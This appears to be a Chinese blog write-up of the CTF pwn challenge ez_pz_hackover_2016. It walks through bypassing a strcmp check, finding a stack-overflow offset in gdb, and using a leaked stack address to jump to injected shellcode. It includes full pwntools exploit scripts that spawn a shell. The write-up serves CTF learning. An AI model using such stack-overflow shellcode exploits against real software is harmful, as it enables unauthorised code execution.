ez_pz_hackover_2016

文章插图
chall函数

文章插图
如果执行了 vuln 函数,那么就可以触发栈溢出漏洞

文章插图
首先要使 strcmp(s, "crashme") == 0 ,所以令 payload = 'crashme\x00'明显这道题是 ret2shellcode接下来就是本题重点了,调试出偏移地址0x8048600 是发送栈溢出漏洞这里的汇编指令地址 , IDA查看需要的填充无用数据大小是错的,需要动态调试

文章插图
一个调试技巧,这里要先断点,不然程序就直接结束了,无法debugfrom pwn import *p=process('./1')context.log_level='debug'gdb.attach(p,'b *0x8048600')p.recvuntil('crash: ')stack=int(p.recv(10),16)print(hex(stack))payload=b'crashme\x00' + b'a'*4p.sendline(payload)pause()进入gdb界面后 , 按 c 运行到断点处

文章插图
查看栈可以发现,我们的数据在 0xffa39603 处开始填充 , 如果要覆盖 ebp,那么需要 0x16 + 4 个字节这里 chall 函数泄露地址是 0xfff5f9cc

文章插图
记录我们写入的 shellcode 的偏移为 0x1c,所以可以用 泄露地址 - 0x1c 来代表 shellcode 地址

文章插图
于是构造出以下expfrom pwn import *p=process('./1')context.log_level='debug'p.recvuntil('crash: ')stack=int(p.recv(10),16)print(hex(stack))payload=b'crashme\x00'+b'a'*(0x16+4-8) + p32(stack-0x1c) + asm(shellcraft.sh())p.sendline(payload)p.interactive()这里比较坑的是,不知道是不是我环境配置的原因,我用 ubuntu16 和 ubuntu18 这两台是无法成功动态调试的,一按 c 就程序就直接结束了,根本不理会是否设置了断点,换了 ubuntu22 和 kali 才能正常调试
推荐阅读
- 沈阳 第 46 届 ICPC 国际大学生程序设计竞赛亚洲区域赛
- 原神寻星之旅第五天怎么通关
- 新剑侠情缘10月26日微信每日一题答案是什么
- 去细纹眼霜前8强:希思黎上榜 第一名可有效阻止电子辐射
- .Net Framework中的AppDomain.AssemblyResolve事件的常见用法、问题,以及解决办法
- 王者荣耀10月26日微信每日一题答案是什么
- 最贵的口红品牌排行 第一被誉为口红界的女王
- 原神寻星之旅第六天怎么通关
- 黑色沙漠10月27日微信每日一题答案是什么
- 王者荣耀10月27日微信每日一题答案是什么